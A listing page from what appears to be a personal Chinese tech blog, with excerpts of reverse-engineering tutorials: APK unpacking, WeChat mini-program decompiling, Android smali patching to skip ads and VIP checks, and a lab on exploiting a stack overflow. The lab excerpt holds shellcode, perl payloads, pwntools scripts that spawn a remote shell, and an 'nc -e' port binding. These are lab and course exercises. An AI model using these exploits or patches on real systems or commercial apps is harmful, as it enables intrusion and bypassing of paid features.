首页
文章分类
逆向网安
中英演讲
杂类教程
学习笔记
前端开发
汇编
数据库
.NET
服务器
Python
Java
PHP
Git
算法
安卓开发
生活记录
读书笔记
作品发布
人体健康
网上邻居
留言板
欣赏小姐姐
关于我
Search
登录
1
利用AList搭建家庭个人影音库
4,449 阅读
2
浅尝Restful Fast Request插件,一句话完成 逆向过程
3,391 阅读
3
i茅台app接口自动化csharp wpf实现,挂机windows服务器每日自动预约
2,411 阅读
4
完美破解The Economist付费墙
2,286 阅读
5
青龙面板基本使用并添加修改微信/支付宝步数脚本
1,760 阅读
Search
标签搜索
PHP
Laravel
前端
csharp
安卓逆向
JavaScript
Python
Java
爬虫
抓包
Git
winform
android
Fiddler
Vue
selenium
LeetCode
每日一题
简单题
docker
Hygge
累计撰写
94
篇文章
累计收到
439
条评论
首页
栏目
逆向网安
中英演讲
杂类教程
学习笔记
前端开发
汇编
数据库
.NET
服务器
Python
Java
PHP
Git
算法
安卓开发
生活记录
读书笔记
作品发布
人体健康
页面
网上邻居
留言板
欣赏小姐姐
关于我
用户登录
搜索到
11
篇与
的结果
2024-01-08
frida-dexdump简单脱壳
一、安装Pip install frida-tools Pip install frida-dexdump安装frida-tools可能会报错,提示C:\Users\Nmae/frida-15.1.17-py3.10-win-amd64.egg不存在,手动pypi上下载后放到该位置,即可安装成功。二、脱壳Frida-ps -U #查看手机进程(检查是否成功连接frida-server) https://github.com/hluwa/frida-dexdump Frida-dexdump #简单脱壳(需应用正在运行) a. frida-dexdump -FU 快速转存前台应用程序 b. frida-dexdump -U -f com.app.pkgname #转存指定应用程序 i. -o OUTPUT, --output OUTPUT Output folder path, default is './<appname>/'. ii. -d, --deep-search Enable deep search mode. iii. --sleep SLEEP Waiting times for start, spawn mode default is 5s.
2024年01月08日
194 阅读
0 评论
0 点赞
2023-12-22
微信小程序逆向教程
小程序包提取1.PC端2.安卓端存储在这三个子目录中,可能有主包和子包基本使用安装node依赖npm install esprima -g npm install css-tree -g npm install cssbeautify -g npm install vm2 -g npm install uglify-es -g npm install js-beautify -g npm install escodegen -g当检测到 wxapkg 为子包时, 添加-s 参数指定主包源码路径即可自动将子包的 wxss,wxml,js 解析到主包的对应位置下. 完整流程大致如下:1.获取主包和若干子包2.解包主包 node wuWxapkg.js testpkg/master-shop.wxapkg3.若无子包则不需要: 解包子包 node wuWxapkg.js testpkg/sub-1-shop.wxapkg -s=../master-shop-s 参数可为相对路径或绝对路径, 推荐使用绝对路径, 因为相对路径的起点不是当前目录 而是子包解包后的目录├── testpkg │ ├── sub-1-shop.wxapkg #被解析子包 │ └── sub-1-shop #相对路径的起点 │ ├── app-service.js │ ├── master-shop.wxapkg │ └── master-shop # ../master-shop 就是这个目录 │ ├── app.json无视这个报错,把所有子包得到的文件全部复制到主包的项目目录下,即可得到一套完整的反编译代码。反编译问题汇总问题一:Cannot find module 'uglify-es'解决方案:提前安装所需的node依赖:npm install esprima --save npm install css-tree --save npm install cssbeautify --save npm install vm2 --save npm install uglify-es --save npm install js-beautify --save npm install escodegen --save问题二:Error: Magic number is not correct!解决方案:我是从电脑端微信客户端获取的wxapkg文件用网上的所有脚本都报magic number is not correct最后试了试原始的方法 用模拟器去获取wxapkg,就成了问题三:SyntaxError:Unexpected end of input解决方案:问题四:反编译子包遇到Error: ENOTDIR: not a directory, scandir解决方案:使用-s命令反编译子包时,可能也会报错:Error: ENOTDIR: not a directory, scandir。遇到这个报错可以不用管,运行完可以看下解出来的文件,实际上需要用到的东西已经解出来了。最后把所有子包得到的文件全部复制到主包的项目目录下,即可得到一套完整的反编译代码。引用1.反编译报错:Unexpected end of input:https://github.com/xdmjun/wxappUnpacker/issues/302.浅谈小程序逆向:https://blog.csdn.net/weixin_42545308/article/details/126890607使用-s命令反编译子包时,可能也会报错:Error: ENOTDIR: not a directory, scandir。遇到这个报错可以不用管,运行完可以看下解出来的文件,实际上需要用到的东西已经解出来了。3.wxappUnpacker1 GITHUB Repository:https://github.com/jas502n/wxappUnpacker14.获取微信小程序源码的三种方法:https://www.cnblogs.com/micr067/p/15524643.html5.小程序反编译的几点心得:https://blog.csdn.net/qq_41297837/article/details/103962564magic number is not correct
2023年12月22日
238 阅读
0 评论
0 点赞
2023-10-14
使用GDB调试本地栈溢出漏洞获得Root权限
攻防目标基于网络安全攻防实验环境,在Metasploitable2-Linux编译有漏洞的C语言程序,使用GDB进行动态调试,理解栈溢出本地漏洞的原理。使用pwntools构造远程漏洞,并使用kali进行攻击,理解远程漏洞原理。靶机和攻击机环境靶机系统 :Linux metasploitable 2.6.24-16-server攻击机: Linux kali 6.3.0-kali1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1 (2023-06-29) x86_64 GNU/Linuxtask1: 在Metasploitable2-Linux编辑编译有漏洞的C语言源程序1.1 使用终端工具连接Linux,编辑overflow.c源程序#include <stdio.h> #include <string.h> int f() { char buf[32]; system("echo input"); return read(0,buf,100); } int main(int argc, char *argv[]){ f(); system("echo helloworld"); return 0; }函数f中故意制造栈溢出漏洞1.2 使用GCC编译源程序并执行a) #echo 0 > /proc/sys/kernel/randomize_va_space 禁止地址随机化功能b) #ulimit -c unlimited 让系统在错误时产生core文件c) #gcc -Wall -g -fno-stack-protector -o overflow overflow.c -m32 -Wl,-zexecstack 编译源程序d) # ./overflow 执行程序分别输入32个a,35个a,36个a,37个aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaatask2: 使用gdb反汇编调试有漏洞的C语言源程序gdb ./overflow core查看coredump文件,查看寄存器使用gdb反汇编overflow程序gdb ./overflow 打开程序(gdb) set disassembly-flavor intel //设置反汇编格式为intel(gdb) disassemble main //反汇编main函数(gdb) disassemble f //反汇编f()函数使用gdb跟踪调试程序(gdb) start //启动程序查看寄存器和内存step执行一行源代码进入f()函数内部next执行一行源代码不进入system("echo input")函数next执行一行源代码不进入return read(0,buf,100)函数输入aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbccccnext执行一行源代码,查看寄存器和内存,2.1 任务二分析首先在main函数执行中查看寄存器:此时main函数对应的栈顶指针和基址指针如下:寄存器值esp0xbffff880ebp0xbffff888eip0x80483e4单步进入f()函数内部,再次查看寄存器变化汇编中调用call指令,会将当前的ebp值入栈,将esp赋值给ebp(原先的栈顶变成栈底),然后将eip入栈寄存器值esp0xbffff840ebp0xbffff878eip0x80483aa继续next执行当读入一个长度大于32位的字符串, buf变量无法读取,此时查看内存区域使用命令:(gdb)x/32x 0xbffff84061为a的ascii码,当读完所有的a后,读b和c对应的ascii码分别为62和63此时存储b和c的内存单元分别为 函数的堆栈帧的基地址 和 当前函数执行完毕的返回地址图上可以发现这两处内存单元已经被篡改,继续单步执行,查看寄存器task3:构造shellcode攻击本地漏洞3.1 编辑汇编语言shell.asm输出字符串HACKBITS 32 start: xor eax,eax xor ebx,ebx xor ecx,ecx xor edx,edx mov bl,1 add esp,string - start mov ecx,esp mov dl,5 mov al,4 int 0x80 mov al,1 mov bl,1 dec bl int 0x80 string: db "HACK",0xa3.2 下载编译安装汇编语言工具(配置、编译、安装)https://launchpadlibrarian.net/18093887/nasm_0.99.06.orig.tar.gz 3.3 #nasm -o shell shell.asm汇编源程序3.4 #ndisasm shell反汇编获得机器码3.5、构造shellcode提交给漏洞程序执行perl -e 'printf "a"x32 . "b"x4 . "c"x4 . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x48\x41\x43\x4b\x0a"' | ./overflow利用栈溢出 更改程序f函数的返回地址 输出 "Hack" 的效果6、#gdb ./overflow core 查看之前记录的f()函数对应的寄存器和内存此时0x63636363就是f()函数的返回地址只需要把这里的内容改为要跳转的恶意程序地址即可7、构造shellcode提交给漏洞程序执行perl -e 'printf "a"x32 . "b"x4 . "\xa0\xf8\xff\xbf" . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x48\x41\x43\x4b\x0a"' | ./overflowtask4:使用pwntools攻击远程漏洞1、在kali远程攻击Metasploitable2-Linuxa)在Metasploitable2-Linux监听123端口并绑定溢出程序root@metasploitable:~# nc -l -v -p 123 -e ./overflowb)在kali使用nc连接Metasploitable2 -Linux的123端口并发送shellcode(root㉿kali)-[~] nc 192.168.91.202 1232、在kali安装使用pwntools攻击Metasploitable2-Linuxa)#wget https://bootstrap.pypa.io/get-pip.py b)#python3 get-pip.pyc)#pip3 install pwntoolsd)在kali编辑exploit攻击脚本exp.pyfrom pwn import * p = remote('192.168.91.202','123') stackaddr = 0xbffff8a0 shellcode=b'\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x48\x41\x43\x4b\x0a' payload = b'a' * 36 + p32(stackaddr) + shellcode p.send(payload) p.interactive()e)在Metasploitable2-Linux监听123端口并绑定溢出程序f)#python3 exp.py在kali执行exploit攻击脚本3、使用pwntools获得shella)在kali编辑exploit攻击脚本exp.pyfrom pwn import * p = remote('192.168.91.202','123') stackaddr = 0xbffff8a0 shellcode = asm(shellcraft.linux.sh(),arch='i386') payload = b'a' * 36 + p32(stackaddr) + shellcode p.send(payload) p.interactive()b)在Metasploitable2-Linux监听123端口并绑定溢出程序c)#python3 exp.py在kali执行exploit攻击脚本
2023年10月14日
201 阅读
0 评论
0 点赞
2023-07-26
第四篇Android逆向:动态调试&Log插桩
一、基本概念1.1 动态调试动态调试是指自带的调试器跟踪自己软件的运行,可以在调试的过程中知道参数或者局部变量的值记忆捋清代码运行的先后顺序。多用于爆破注册码(CTF必备技能)1.2 Log插桩Log插桩是指在反编译APK文件时,在对应的smali文件里,添加相应的smali代码,将程序的关键信息,以log日志的形式进行输出。二、动态调试2.1 修改debug权限方法一:在AndroidManifest.xml里添加可调试权限android:debuggable="true"方法二:XappDebug模块hook对应的app项目地址XappDebughttps://github.com/Palatis/XAppDebug方法三:Magisk命令(重启失效)1. adb shell # adb进入命令行模式 2. su # 切换至超级用户 3. magisk resetprop ro.debuggable 1 4. stop;start; # 一定要通过该方式重启方法四:刷入MagiskHide Props Config模块(永久有效)一般来说,在4选项中如果有ro.debuggable那就直接修改没有的话就选5修改ro.debuggable的值为12.2 端口转发以及开启adb权限版本后点击七次开启开发者模式并开启adb调试权限夜神模拟器: adb connect 127.0.0.1:620012.3 下端点Jeb里使用ctrl + b下断点2.4 debug模式启动adb shell am start -D -n com.zj.wuaipojie/.ui.MainActivity adb shell am start -D -n 包名/类名am start -n 表示启动一个activityam start -D 表示将应用设置为可调试模式2.5 Jeb附加调试进程快捷键作用F6进入方法F7从方法中跳出来F8 R运行到光标处三、修改debug权限实操3.1 修改AndroidManifest3.2 XAppDebug模块3.3 Magisk命令上文3.4 MigiskHide Props Config安装模块打开Mt管理器终端模拟器输入props进入模块然后按照上文操作即可四、追码练习4.1 开发者选项开启USB调试,目标App要开启Debug调试4.2 apk拖入JEB,搜索关键字密钥错误发现关键点是if(this.check(((EditText)this.findViewById(0x7F0800AC)).getText().toString())) { // id:edit_check Context context0 = (Context)this; Toast.makeText(context0, "恭喜你,密钥正确!", 1).show(); SPUtils.INSTANCE.saveInt(context0, "level", 3); return; } Toast.makeText(((Context)this), "密钥错误哦,再想想!", 1).show();4.3 继续追check方法,双击方法名进入public final boolean check(String s) { int v = 0; Integer integer0 = null; if(!StringsKt.startsWith$default(s, "flag{", false, 2, null)) { return false; } if(!StringsKt.endsWith$default(s, "}", false, 2, null)) { return false; } String s1 = s.substring(5, s.length() - 1); Intrinsics.checkNotNullExpressionValue(s1, "this as java.lang.String…ing(startIndex, endIndex)"); String s2 = SPUtils.INSTANCE.getString(((Context)this), "id", ""); if(s2 != null) { integer0 = (int)s2.length(); } int v1 = 1000; Intrinsics.checkNotNull(integer0); int v2 = (int)integer0; if(v2 >= 0) { while(true) { v1 += -7; if(v == v2) { break; } ++v; } } byte[] arr_b = Encode.encode(s2 + v1).getBytes(Charsets.UTF_8); Intrinsics.checkNotNullExpressionValue(arr_b, "this as java.lang.String).getBytes(charset)"); return Intrinsics.areEqual(s1, Base64Utils.INSTANCE.encodeToString(arr_b)); }首先密钥必须以flag{开头,以}结尾然后回取出除开头和结尾中间的内容和一个base64加密的字符串进行比对base64加密的数据是由s2(打开软件注册的用户名) + v1(整数常量组成),当s2固定时base64加密的结果也就固定了。下一步就需要对加密结果打断点4.4 app开启调试4.5 Jeb附加调试进程然后再去应用模拟验证一下已经成功断点了,右边的寄存器也能看到局部变量此时已拿到密钥:5YaF57OkDAUM五、Log插桩5.1 日志插桩dex注入5.2 代码关键处添加输出invoke-static {对应寄存器}, Lcom/mtools/LogUtils;->v(Ljava/lang/Object;)V5.3 使用算法助手查看日志然后启动 去触发一下关键点拿到密钥实战反编译发现程序逻辑如下:可以直接通过程序跑出来结果:let str = 'e10adc3949ba59abbe56e057f20f883e'; // 对 123456 进行md5 再转 十六进制的结果 let sb = '' for(let i = 0;true;i+=2){ if(i >= str.length){ console.log(sb); return sb == '123'; } // 将 str i位置上的字符追加到sb中 sb += str.charAt(i); }引用1.《安卓逆向这档事》五、1000-7=?&动态调试&Log插桩:https://www.52pojie.cn/thread-1714727-1-1.html2.吾爱破解安卓逆向入门教程《安卓逆向这档事》五、1000-7? & 动态调试&Log插桩:https://www.bilibili.com/video/BV1hg411q7dj/3.JEB动态调试Smali-真机/模拟器(详细,新手必看):https://www.52pojie.cn/thread-1598242-1-1.html4.Log简易打印工具,超简单的调用方法:https://www.52pojie.cn/thread-411454-1-1.html5.Android修改ro.debuggable 的四种方法:https://blog.csdn.net/jinmie0193/article/details/111355867
2023年07月26日
327 阅读
0 评论
0 点赞
2023-07-25
第三篇Android逆向:去除广告和弹窗
一、基本概念1.1 安卓四大组件组件描述Activity(活动)在应用中的一个Activity可以用来表示一个界面,意思可以理解为“活动”,即一个活动开始,代表 Activity组件启动,活动结束,代表一个Activity的生命周期结束。一个Android应用必须通过Activity来运行和启动,Activity的生命周期交给系统统一管理。Service(服务)Service它可以在后台执行长时间运行操作而没有用户界面的应用组件,不依赖任何用户界面,例如后台播放音乐,后台下载文件等。Broadcast Receiver(广播接收器)一个用于接收广播信息,并做出对应处理的组件。比如我们常见的系统广播:通知时区改变、电量低、用户改变了语言选项等。Content Provider(内容提供者)作为应用程序之间唯一的共享数据的途径,Content Provider主要的功能就是存储并检索数据以及向其他应用程序提供访问数据的接口。Android内置的许多数据都是使用Content Provider形式,供开发者调用的(如视频,音频,图片,通讯录等)1.2 activity的切换<!---声明实现应用部分可视化界面的 Activity,必须使用 AndroidManifest 中的 <activity> 元素表示所有 Activity。系统不会识别和运行任何未进行声明的Activity。-----> <activity android:label="@string/app_name" android:name="com.zj.wuaipojie.ui.MainActivity" android:exported="true"> <!--当前Activity是否可以被另一个Application的组件启动:true允许被启动;false不允许被启动--> <!---指明这个activity可以以什么样的意图(intent)启动---> <intent-filter> <!--表示activity作为一个什么动作启动,android.intent.action.MAIN表示作为主activity启动---> <action android:name="android.intent.action.MAIN" /> <!--这是action元素的额外类别信息,android.intent.category.LAUNCHER表示这个activity为当前应用程序优先级最高的Activity--> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <activity android:name="com.zj.wuaipojie.ui.ChallengeFirst" /> <activity android:name="com.zj.wuaipojie.ui.ChallengeFifth" android:exported="true" /> <activity android:name="com.zj.wuaipojie.ui.ChallengeFourth" android:exported="true" /> <activity android:name="com.zj.wuaipojie.ui.ChallengeThird" android:exported="false" /> <activity android:name="com.zj.wuaipojie.ui.ChallengeSecond" android:exported="false" /> <activity android:name="com.zj.wuaipojie.ui.AdActivity" /> 启动广告流程:启动Activity->广告Activity->主页Activity修改方法:1.修改加载时间2.Acitivity切换定位,修改Intent的Activity类名switch (position) { case 0: Intent intent = new Intent(); intent.setClass(it.getContext(), ChallengeFirst.class); it.getContext().startActivity(intent); return; case 1: Intent intent2 = new Intent(); intent2.setClass(it.getContext(), ChallengeSecond.class); it.getContext().startActivity(intent2); return; case 2: Intent intent3 = new Intent(); //new一个Intent, intent3.setClass(it.getContext(), AdActivity.class); //传入要切换的Acitivity的类名 it.getContext().startActivity(intent3); //启动对应的Activity return; case 3: Intent intent4 = new Intent(); intent4.setClass(it.getContext(), ChallengeFourth.class); it.getContext().startActivity(intent4); return; default: return; }1.3 Activity生命周期函数名称描述onCreate()一个Activity启动后第一个被调用的函数,常用来在此方法中进行Activity的一些初始化操作。例如创建View,绑定数据,注册监听,加载参数等。onStart()当Activity显示在屏幕上时,此方法被调用但此时还无法进行与用户的交互操作。onResume()这个方法在onStart()之后调用,也就是在Activity准备好与用户进行交互的时候调用,此时的Activity一定位于Activity栈顶,处于运行状态。onPause()这个方法是在系统准备去启动或者恢复另外一个Activity的时候调用,通常在这个方法中执行一些释放资源的方法,以及保存一些关键数据。onStop()这个方法是在Activity完全不可见的时候调用的。onDestroy()这个方法在Activity销毁之前调用,之后Activity的状态为销毁状态。onRestart()当Activity从停止stop状态恢进入start状态时调用状态。1.4 弹窗定位&堆栈分析修改方法:1.修改xml中的versioncode2.Hook弹窗(推荐算法助手开启弹窗定位)3.修改dex弹窗代码4.抓包修改响应体(也可以路由器拦截)1.5 布局优化1.开发者助手抓布局2.MT管理器xml搜索定位3.修改xml代码android:visibility="gone"二、练习2.1 去开屏广告首先定位到这个Activity弹出的广告的是com.zj.wuaipojie.ui.AdActivity,mt管理器进行搜索类名.method private final loadAd()V .registers 5 .line 27 new-instance v0, Landroid/os/Handler; invoke-direct {v0}, Landroid/os/Handler;-><init>()V new-instance v1, Lcom/zj/wuaipojie/ui/AdActivity$$ExternalSyntheticLambda0; invoke-direct {v1, p0}, Lcom/zj/wuaipojie/ui/AdActivity$$ExternalSyntheticLambda0;-><init>(Lcom/zj/wuaipojie/ui/AdActivity;)V // v2赋值0xbb8 即3000毫秒 = 3秒 const-wide/16 v2, 0xbb8 // 调用延时的方法postDelayed 意为3秒后广告结束 切入主窗口 // 这里的参数 vo 代表 Handler的引用 v1 表示Runnable的引用 v2表示时长的引用 v3没有用到忽略 invoke-virtual {v0, v1, v2, v3}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z return-void .end method2.1.1 修改广告时长了解v2寄存器存储广告时长后可以直接赋值为0x0变相实现跳过但其实还是会跳转到AdActivity2.1.2 修改Activity切换重新搜索Lcom/zj/wuaipojie/ui/AdActivity;类型选择代码,目的是定位在smali层面哪里调用了AdActivity就可以找到切换Activity的逻辑。2.1.3 修改AndroidManifest将启动类的名称直接修改为ChallengeThird不推荐,容易跳过应用内部加载数据的逻辑2.2 跳弹窗广告2.2.1 版本更新广告方式一:修改AndroidManifest.xml中的versionCode<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1"># 由1改成2即可过 </manifest> 方式二:直接注释掉弹窗代码1.直接根据文件内容搜索有新版本需要更新 得到布局文件为y4.xml2.使用Arsc编辑器打开resources.arsc得到布局名称为fragment_update,再在Dex编辑器++中根据代码搜索,得到对应的资源Id0x7f0b003a在搜索整数十六进制,拿到关键类DialogUtilsKt,这是一个工具类,只需要找到在主Activity中调用的位置进行注释即可。3.定位DialogUtilsKt的使用注释掉即可。2.2.2 普通弹窗分别是可回退跳过和不可回退跳过的类型。2.2.2.1 算法助手的使用勾选上后原先无法使用回退的弹窗也可以进行返回取消了。查看使用日志分析发现是在ChallengeThird.onCreate生命周期内调用的方法。 protected void onCreate(Bundle bundle) { super.onCreate(bundle); setContentView(2131427361); Context context = (Context) this; Builder builder = new Builder(context); builder.setTitle("这是二号广告标题"); builder.setMessage("这是二号广告内容"); builder.setCancelable(false); String str = "前往论坛"; builder.setPositiveButton(str, new ExternalSyntheticLambda1(this)); String str2 = "退出软件"; builder.setNegativeButton(str2, ExternalSyntheticLambda2.INSTANCE); builder.show(); new CommonDialog.Builder(context).setMessage("一号广告弹窗已就位").setNegativeButton(str2, ExternalSyntheticLambda3.INSTANCE).setMessageColor(-16777216).setPositiveButton(str, new ExternalSyntheticLambda0(this)).setWith(0.8f).create().show(); checkUpdate(); }直接切到smali下将两个show的调用注释即可。2.3 去横幅遮挡广告1.首先定位元素Id(Hex):0x7f0801ca直接将宽高改为0dp或添加属性android:visibility="gone"三、课后作业这里发现有三个方法 三处show调用。方法一: show全部注释掉即可。方法二:查看每个方法的调用找到真正的函数调用,并从调用处解决引用1.《安卓逆向这档事》四、恭喜你获得广告&弹窗静默卡:https://www.52pojie.cn/thread-1706691-1-1.html2.吾爱破解安卓逆向入门教程《安卓逆向这档事》四、恭喜你获得广告&弹窗静默卡:https://www.bilibili.com/video/BV14v4y1D7yA/3.算法助手!基于Xposed的通用Hook工具:https://bbs.kanxue.com/thread-267985.htm
2023年07月25日
406 阅读
0 评论
0 点赞
2023-07-24
第二篇Android逆向:初识smali破解vip
一、基本概念1.什么是JVM、Dalvik、ARTJVM是JAVA虚拟机,运行JAVA字节码程序Dalvik是Google专门为Android设计的一个虚拟机,Dalvik有专属的文件执行格式dex(Dalvik executable)Art(Android Runtime)相当于Dalvik的升级版,本质与Dalvik无异2.smali及其语法smali是Dalvik的寄存器语言,smali代码是dex反编译而来的。关键字名称注释.class类名.super父类名,继承的上级类名名称.source源名.field变量.method方法名.register寄存器.end method方法名的结束public公有protected半公开,只有同一家人才能用private私有,只能自己使用.parameter方法参数.prologue方法开始.line xxx位于第xxx行数据类型对应smali类型java类型注释Vvoid无返回值Zboolean布尔值类型,返回0或1Bbyte字节类型,返回字节Sshort短整数类型,返回数字Cchar字符类型,返回字符Iint整数类型,返回数字Jlong (64位 需要2个寄存器存储)长整数类型,返回数字Ffloat单浮点类型,返回数字Ddouble (64位 需要2个寄存器存储)双浮点类型,返回数字stringString文本类型,返回字符串Lxxx/xxx/xxxobject对象类型,返回对象常用指令关键字注释const重写整数属性,真假属性内容,只能是数字类型const-string重写字符串内容const-wide重写长整数类型,多用于修改到期时间。return返回指令if-eq全称equal(a=b),比较寄存器ab内容,相同则跳if-ne全称not equal(a!=b),ab内容不相同则跳if-eqz全称equal zero(a=0),z即是0的标记,a等于0则跳if-nez全称not equal zero(a!=0),a不等于0则跳if-ge全称greater equal(a>=b),a大于或等于则跳if-le全称little equal(a<=b),a小于或等于则跳goto强制跳到指定位置switch分支跳转,一般会有多个分支线,并根据指令跳转到适当位置iget获取寄存器数据其余指令可用语法工具查询定位方法:搜索弹窗关键字、抓取按钮id例子://一个私有、静态、不可变的方法 方法名 .method private static final onCreate$lambda-2(Lkotlin/jvm/internal/Ref$IntRef;Lcom/zj/wuaipojie/ui/ChallengeSecond;Landroid/widget/ImageView;Landroid/widget/ImageView;Landroid/widget/ImageView;Landroid/view/View;)Z //(这里面是方法的参数)这里是方法返回值类型,表示布尔值类型,返回假或真 .registers 7 //寄存器数量 .line 33 //代码所在的行数 iget p0, p0, Lkotlin/jvm/internal/Ref$IntRef;->element:I //读取p0(第一个参数,参考寄存器知识)中element的值赋值给p0 const/4 p5, 0x1 //p5赋值1 const/16 v0, 0xa //v0赋值10,在16进制里a表示10 if-ge p0, v0, :cond_15 //判断p0的值是否大于或等于v0的值(即p0的值是否大于或等于10),如果大于或等于则跳转到:cond_15 .line 34 //以下是常见的Toast弹窗代码 check-cast p1, Landroid/content/Context; //检查Context对象引用 const-string p0, "请先获取10个硬币哦" //弹窗文本信息,把""里的字符串数据赋值给p0 check-cast p0, Ljava/lang/CharSequence; //检查CharSequence对象引用 invoke-static {p1, p0, p5}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast; //将弹窗文本、显示时间等信息传给p1 move-result-object p0 //结果传递给p0 invoke-virtual {p0}, Landroid/widget/Toast;->show()V //当看到这个Toast;->show你就应该反应过来这里是弹窗代码 goto :goto_31 //跳转到:goto_31 :cond_15 //跳转的一个地址 invoke-virtual {p1}, Lcom/zj/wuaipojie/ui/ChallengeSecond;->isvip()Z //判断isvip方法的返回值是否为真(即结果是否为1) move-result p0 //结果赋值给p0 if-eqz p0, :cond_43 //如果结果为0则跳转cond_43地址 const p0, 0x7f0d0018 //在arsc中的id索引,这个值可以进行查询 .line 37 invoke-virtual {p2, p0}, Landroid/widget/ImageView;->setImageResource(I)V //设置图片资源 const p0, 0x7f0d0008 .line 38 invoke-virtual {p3, p0}, Landroid/widget/ImageView;->setImageResource(I)V const p0, 0x7f0d000a .line 39 invoke-virtual {p4, p0}, Landroid/widget/ImageView;->setImageResource(I)V .line 40 sget-object p0, Lcom/zj/wuaipojie/util/SPUtils;->INSTANCE:Lcom/zj/wuaipojie/util/SPUtils; check-cast p1, Landroid/content/Context; const/4 p2, 0x2 //p2赋值2 const-string p3, "level" //sp的索引 invoke-virtual {p0, p1, p3, p2}, Lcom/zj/wuaipojie/util/SPUtils;->saveInt(Landroid/content/Context;Ljava/lang/String;I)V //写入数据 goto :goto_50 //跳转地址 :cond_43 check-cast p1, Landroid/content/Context; const-string p0, "\u8bf7\u5148\u5145\u503c\u5927\u4f1a\u5458\u54e6\uff01" //请先充值大会员哦! check-cast p0, Ljava/lang/CharSequence; invoke-static {p1, p0, p5}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast; move-result-object p0 invoke-virtual {p0}, Landroid/widget/Toast;->show()V :goto_50 return p5 //返回p5的值 .end method //方法结束 //判断是否是大会员的方法 .method public final isvip()Z .registers 2 const/4 v0, 0x0 //v0赋值0 return v0 //返回v0的值 .end method修改方法:修改判断、强制跳转、修改寄存器的值3.寄存器在smali里的所有操作都必须经过寄存器来进行:本地寄存器用v开头数字结尾的符号来表示,如v0、 v1、v2。 参数寄存器则使用p开头数字结尾的符号来表示,如p0、p1、p2。特别注意的是,p0不一定是函数中的第一个参数,在非static函数中,p0代指“this",p1表示函数的第一个 参数,p2代表函数中的第二个参数。而在static函数中p0才对应第一个参数(因为Java的static方法中没有this方法)二、实现修改教程中使用的是jadx来分析smail代码,然后通过mt管理器打包修改。最近逛看雪论坛发现一个神器GDA,可以分析并直接完成打包。目标: 长按一键三连按钮可以点亮图标2.1 定位关键类2.1.1 搜索关键字直接搜索关键字大会员2.1.2 抓取按钮id分析界面布局,获取控件Id-Hex切换Mt管理器,使用Dex编辑器++打开Classes.dex,搜索控件2.2 修改方式2.2.1 修改判断分析图按下R重打包运行2.2.2 强制跳转2.2.3 修改寄存器的值三、实战demo搜索关键字登录失败可以直接拿到密钥引用1.《安卓逆向这档事》三、初识smali,vip终结者:https://www.52pojie.cn/thread-1701353-1-1.html2.[原创]基于Smali即时编译的DEX静态补丁技术实现:https://bbs.kanxue.com/thread-278098.htm3.GDA-android-reversing-Tool:https://github.com/charles2gan/GDA-android-reversing-Tool4.GJoy Dex Analyzer(GDA),亚洲第一款全交互式的现代反编译器,同时也是世界上最早实现的dalvik字节码反编译器。:http://www.gda.wiki:9090/
2023年07月24日
333 阅读
0 评论
0 点赞
2023-07-23
第一篇Android逆向:App双开、汉化、基本内容修改
一、基本概念1.1 Magisk介绍Magisk 是一套用于定制 Android 的开源软件,支持高于 Android 5.0 的设备。以下是一些功能亮点:MagiskSU:为应用程序提供 root 访问权限Magisk 模块:通过安装模块修改只读分区MagiskHide:从根检测 / 系统完整性检查中隐藏 Magisk(Shamiko)MagiskBoot : 最完整的安卓启动镜像解包和重新打包工具1.2 Apk结构apk 全称 Android Package,它相当于一个压缩文件,只要在电脑上将apk后缀改为zip即可解压。文件注释assets目录存放APK的静态资源文件,比如视频,音频,图片等lib 目录armeabi-v7a基本通用所有android设备,arm64-v8a只适用于64位的android设备,x86常见用于android模拟器,其目录下的.so文件是c或c++编译的动态链接库文件META-INF目录保存应用的签名信息,签名信息可以验证APK文件的完整性,相当于APK的身份证(验证文件是否被修改)res目录res目录存放资源文件,包括图片,字符串等等,APK的脸蛋由他的layout文件设计AndroidMainfest.xml文件APK的应用清单信息,它描述了应用的名字,版本,权限,引用的库文件等等信息classes.dex文件classes.dex是java源码编译后生成的java字节码文件,APK运行的主要逻辑resources.arsc文件resources.arsc是编译后的二进制资源文件,它是一个映射表,映射着资源和id,通过R文件中的id就可以找到对应的资源二、 双开及原理双开:简单来说,就是手机同时运行两个或多个相同的应用,例如同时运行两个微信原理解释修改包名让手机系统认为这是2个APP,这样的话就能生成2个数据存储路径,此时的多开就等于你打开了两个互不干扰的APP修改Framework对于有系统修改权限的厂商,可以修改Framework来实现双开的目的,例如:小米自带多开通过虚拟化技术实现虚拟Framework层、虚拟文件系统、模拟Android对组件的管理、虚拟应用进程管理 等一整套虚拟技术,将APK复制一份到虚拟空间中运行,例如:平行空间以插件机制运行利用反射替换,动态代理,hook了系统的大部分与system—server进程通讯的函数,以此作为“欺上瞒下”的目的,欺骗系统“以为”只有一个apk在运行,瞒过插件让其“认为”自己已经安装。例如:VirtualApp2.1 修改包名NT管理器安装包提取点击提取的Apk,选择APK共存修改包名简单情况下实现APK共存2.2 修改Framework2.3 通过虚拟化技术实现2.4 以插件机制运行三、 